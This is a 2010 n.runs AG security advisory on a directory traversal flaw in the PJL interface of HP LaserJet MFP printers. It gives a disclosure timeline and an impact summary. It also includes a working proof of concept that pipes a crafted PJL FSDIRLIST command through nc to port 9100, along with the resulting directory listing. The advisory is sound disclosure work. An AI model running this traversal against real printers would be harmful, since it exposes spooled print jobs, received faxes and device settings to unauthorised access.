

Vendor: Hewlett-Packard, http://www.hp.com
 Affected Products: Various HP LaserJet MFP devices
 (See HP advisory [3] for the complete list)
 Vulnerability: Directory Traversal in PJL interface
 Risk: HIGH

Vendor communication:

2009/11/25 Initial notification of Hewlett-Packard
 2009/11/25 HP confirms receipt of advisory
 2010/02/05 n.runs AG requests update on the reported issue
 2010/02/05 HP notifies n.runs AG that an advisory is in preparation
 2010/11/15 Publication of HP advisory

Overview:

The Printer Job Language (PJL) was developed by Hewlett-Packard to provide a method for switching printer languages at the job level and for status exchange between the device and a host computer. Besides the possibility to view and change parts of the printer's configuration or modify control panel messages PJL allows some limited form of file system access. PJL is used "above" other printer languages such as PCL and is usually accessible on port 9100. Detailed information about PJL can be found in the PJL Technical Reference Manual [1].

Description:

A directory traversal vulnerability has been found in the PJL file system access interface of various HP LaserJet MFP devices. File system access through PJL is usually restricted to a specific part of the file system. Using a pathname such as 0:\..\..\..\ it is possible to get access to the complete file system of the device.

Proof of Concept:

The following command can be used to reproduce the problem. It lists all files in the root directory of the device:

```
$ python -c 'print "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" \
  ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100
@PJL FSDIRLIST NAME="0:\..\..\..\\" ENTRY=1
. TYPE=DIR
.. TYPE=DIR
tmp TYPE=DIR
etc TYPE=DIR
xps TYPE=DIR
dsk_ide2a TYPE=DIR
dsk_ColorIQ TYPE=DIR
dsk_CustomIQ TYPE=DIR
bootdev TYPE=DIR
dsk_jdi TYPE=DIR
dsk_jdi_ss TYPE=DIR
dsk_af TYPE=DIR
lrt TYPE=DIR
webServer TYPE=DIR
```

Impact:

This vulnerability allows sensitive information to be disclosed and potentially be modified. This includes spooled print jobs, received faxes, log files or other settings of the device.

Solution:

See the HP advisory [3] for possible workarounds.

Credit:

Bug found by Moritz Jodeit of n.runs AG.

References:

- [1] <http://h20000.www2.hp.com/bc/docs/support/SupportManual/bp113208/bp113208.pdf>
- [2] <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4107>
- [3] <http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02004333>

This Advisory and Upcoming Advisories:
http://www.nruns.com/security_advisory.php

Unaltered electronic reproduction of this advisory is permitted. For all other reproduction or publication, in printing or otherwise, contact security@nruns.com for permission. Use of the advisory constitutes acceptance for use in an "as is" condition. All warranties are excluded. In no event shall n.runs be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if n.runs has been advised of the possibility of such damages.

Copyright 2010 n.runs AG. All rights reserved. Terms of use apply.